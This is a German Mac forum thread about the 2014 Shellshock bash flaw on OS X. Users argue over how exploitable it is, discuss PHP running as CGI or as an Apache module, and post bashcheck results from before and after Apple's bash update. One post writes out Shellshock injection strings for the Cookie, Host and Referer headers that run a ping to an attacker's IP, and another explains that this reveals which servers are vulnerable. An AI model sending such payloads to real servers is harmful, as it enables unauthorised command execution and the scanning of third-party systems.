SHELLSHOCK: Schwere Sicherheitslücke in OS X - was tun?

Madcat schrieb:
Aber dieser Befehl "echo you are hacked" ist ja recht witzlos. Was stünde da normaler weise? Mal ganz davon unabhängig, dass der Angreifer erstmal das Script gehackt haben müsste? Wir reden hier von einem Problem bei dem der Angreifer erstmal durch mindestens zwei Türen durchgangen sein muss…
Zum Vergrößern anklicken....

Statt dessen steht da zum Beispiel /bin/ping -c 5 <meine IP> oder /usr/bin/ping -c 5 <meine IP>. Damit kann ich relativ unbemerkt erst einmal heraus finden welche Server verwundbar sind und mir anschauen, ob sie interessant sind. Denn wie ein U-Boot schicken sie 5 Pings an mich bzw. den von mir gewählten Server/Rechner und das kann ich dann ganz easy-peasy monitoren.
 
Pingu schrieb:
Statt dessen steht da zum Beispiel /bin/ping -c 5 <meine IP> oder /usr/bin/ping -c 5 <meine IP>. Damit kann ich relativ unbemerkt erst einmal heraus finden welche Server verwundbar sind und mir anschauen, ob sie interessant sind. Denn wie ein U-Boot schicken sie 5 Pings an mich bzw. den von mir gewählten Server/Rechner und das kann ich dann ganz easy-peasy monitoren.
Zum Vergrößern anklicken....
Du musst den Befehl doch erstmal ins Script rein bekommen. Das ist schonmal nicht so easy-peasy. Wenn du aber das Script schon manipuliert hast brauchst du die IP ja gar nicht mehr, die kennst du dann ja schon. Damit relativiert sich dann auch schon mal das Monitoring.
Hier fragen sich einige, warum die Lücke so lange nicht entdeckt wurde, dabei ist die Antwort so leicht: Die Lücke ist nur nutzbar, wenn zig andere Randbedingungen erfüllt sind die jede für sich auch wieder alles andere als einfach zu erfüllen sind.
 
Oh Gott, du stellst dich aber an.

In einem http request wird sowas an deinen Server gesendet
Code: 
http-header[Cookie]  = () { :; }; ping -c 3 xxx.xxx.230.74
http-header[Host]    = () { :; }; ping -c 3 xxx.xxx.230.74
http-header[Referer] = () { :; }; ping -c 3 xxx.xxx.230.74
und verwundbare Server führen das einfach aus und deswegen heisst der Fehler nicht zu Unrecht shellshock.
 
Pingu schrieb:
Das ist inzwischen schon sehr unüblich.
Zum Vergrößern anklicken....
Webanwendungen, die Scripts aufrufen? Das glaube ich nicht.

Pingu schrieb:
Nö, die BSD-Environment, die im Mac OS X läuft ist sehr quelloffen. Deswegen nutzt Apple es und hat da gar nichts eigenes. Du kannst Dir die BASH auch selber mit GCC, LVM, Xcode zusammen kompilieren und erstezen.
Zum Vergrößern anklicken....
Ich meinte auch nicht das BSD-Environment, sondern die Applikationen, die auf OS X Server laufen. Und da hört es sich mit quelloffen so ziemlich bald auf.

Pingu schrieb:
Nur wenn PHP über CGI läuft. Das macht aber keiner mehr. Jeder nimmt das Apche-PHP-Modul und da ist es egal. Da besteht das Problem nicht.
Zum Vergrößern anklicken....
Ganz im Gegenteil: Das Ausführen als Apache-Modul bringt zum Beispiel gewisse Sicherheitseinschränkungen mit sich, da die PHP-Prozesse dann mit den Rechten des Webservers laufen und dementsprechend relativ viel dürfen. Unter anderem deswegen wird zum Beispiel beim viel verwendeten Plesk standardmäßig FastCGI verwendet. Zudem ist FastCGI weniger ressourcenlastig.

Zudem bist du mit dem Apache-Modul auf diesen Webserver festgelegt. Zahlreiche große Websites verwenden aber einen anderen Webserver, zum Beispiel nginx oder lighttpd.

http://blog.layershift.com/which-php-mode-apache-vs-cgi-vs-fastcgi/
http://www.openlogic.com/wazi/bid/209956/mod_php-vs-FastCGI-vs-PHP-FPM-for-Web-Server-Scripting
https://www.hostfactory.ch/de/support/faq/webhosting/domain/php-als-apache-modul-cgi-oder-fcgi/
 
Olivetti schrieb:
Oh Gott, du stellst dich aber an.
…
Zum Vergrößern anklicken....

ich stell mich nicht an, ich frage nur nach den Randbedingungen und das ist ziemlich legitim wie ich finde. Wenn ein Hacker auf meinen Rechner ist ist das sicher nicht gut, die Frage ist aber wie kommt er da hin. Bei dem Shellshock ist es ähnlich. Wenn man erstmal so ein kritisches Script am Start hat ist das sicher nicht gut, ich hol aber weiter aus und frage wie das Script an den Start kommt dass den kritischen Code enthält.
 
Ich trolle nicht sonder ich frage. Alle Tests, die ich zum shellshock bisher sah, hatten das Problem, dass ich auf dem Rechner mindestens ein kompromittiertes Script haben muss. Und ich frage wie es da hin kommt? Ich frage, wie groß ist der Aufwand das Script an den Start zu bekommen und würde ein Hacker diesen Weg gehen? Und diese Frage kommt nicht von ungefähr, es hat immerhin ein viertel Jahrhundert gedauert bis dieser "Bug" entdeckt wurde. Aber warum dauerte es so lange? Vielleicht weil die Voraussetzung zum Ausnutzen des Bugs viel zu groß sind?
Also, was muss ich tun um mit diesem Bug einen fremden Rechner "auszuspähen"? Das kann anscheinend niemand beantworten.
 
über den app store wird das derzeit nicht verteilt. für mountain lion, lion und lion server steht das update manuell ebenfalls zur verfügung. wahrscheinlich wird apple noch ein update nachlegen. es wurden glaube nicht alle schwierigkeiten beseitigt. sicher ist es schwer die bugs zu nutzen, aber es geht hier um einen großen fehler innerhalb einer wichtigen software, irgendwann hat jemand kreative ideen, wie sich solche schwachstellen ausnutzen lassen. und wenn man die chance hat, dann muss man solche lücken einfach schließen. apple ist eine firma die mrd. umsatz und gewinnn macht, also kann das security team ruhig mal ein wenig arbeiten.
 
Madcat schrieb:
…
Also, was muss ich tun um mit diesem Bug einen fremden Rechner "auszuspähen"? Das kann anscheinend niemand beantworten.
Zum Vergrößern anklicken....

Das ist jetzt nicht dein Ernst? Reicht eine grobe Beschreibung oder brauchst Du eine Schritt für Schritt Anleitung? Da sind zum Glück die Regeln des Forums davor (wenn sie denn schnell genug funktionieren) Die Theorie diskutieren ist ok, praktisch sollten alle die ein bisschen davon verstehen Zurückhaltung üben, oder fändest Du es in Ordnung wenn hier jemand detailliert erklärt wie man einem iPhone die login Daten entlockt? (Ja das ist technisch anspruchsvoll und erfordert auch einen manuellen Ansatz, aber es geht. Ich glaube / kenne das auch erst seit kurzem)

Bezüglich des Thread-Problems hat Apple mal schnell nachgelegt, da haben sicher einige nächtens Überstunden geschoben.
 
hab es auf den Rechner gezogen und The OS X bash Update fixes a security flaw in the bash UNIX shell on OS X 10.9.5. installiert

http://www.spiegel.de/netzwelt/web/s...-a-993688.html

Wenn man die Zeile wie beschrieben im Terminal eingibt kommt jetzt nicht mehr "vulnerable" sondern Test

Rechner geht noch keine Fehlermeldung denke das war es

Grüße der IronM
 
Interessant wäre, wie weit Apple wirklich gefixt hat, wenn du bashcheck aus #105 ausführst und das Ergebnis hier postest.
 
Dann wäre es an der Zeit den Tread zu schliessen,es wurde jetzt genug darüber gebabbelt.Ganz ehrlich gesagt waren einige nicht sehr schöne Wortmeldungen dabei.
Sie haben das Thema ganz ad absurdum geführt.
 
Schön, nach dem Ausführen des Tests, hat es mir die Seite von Macuser im FF (beta) zerschossen ;)

Apple scheint zumindest soweit gearbeitet zu haben, dass die bekannten Lücken geschlossen wurden - allerdings ergeben sich bei der Analyse wohl noch ein paar weitere mögliche Schwachstellen. Es war auch schon recht klar, dass nach dem Auffinden des Shellschocks sicher intensiv weiter gesucht würde - mal sehen ob die neuen Fundstellen auch alle gepostet werden ???
 
Olivetti schrieb:
Interessant wäre, wie weit Apple wirklich gefixt hat, wenn du bashcheck aus #105 ausführst und das Ergebnis hier postest.
Zum Vergrößern anklicken....

Vorher:
Code: 
Vulnerable to CVE-2014-6271 (original shellshock)
Vulnerable to CVE-2014-7169 (taviso bug)
./testscript.sh: line 18:  4972 Segmentation fault: 11  bash -c "true $(printf '<<EOF %.0s' {1..79})" 2> /dev/null
Vulnerable to CVE-2014-7186 (redir_stack bug)
Test for CVE-2014-7187 not reliable without address sanitizer
Variable function parser still active, likely vulnerable to yet unknown parser bugs like CVE-2014-6277 (lcamtuf bug)

Nachher:
Code: 
Not vulnerable to CVE-2014-6271 (original shellshock)
Not vulnerable to CVE-2014-7169 (taviso bug)
./testscript.sh: line 18:  5067 Segmentation fault: 11  bash -c "true $(printf '<<EOF %.0s' {1..79})" 2> /dev/null
Vulnerable to CVE-2014-7186 (redir_stack bug)
Test for CVE-2014-7187 not reliable without address sanitizer
Variable function parser inactive, likely safe from unknown parser bugs
 
Zurück
Oben Unten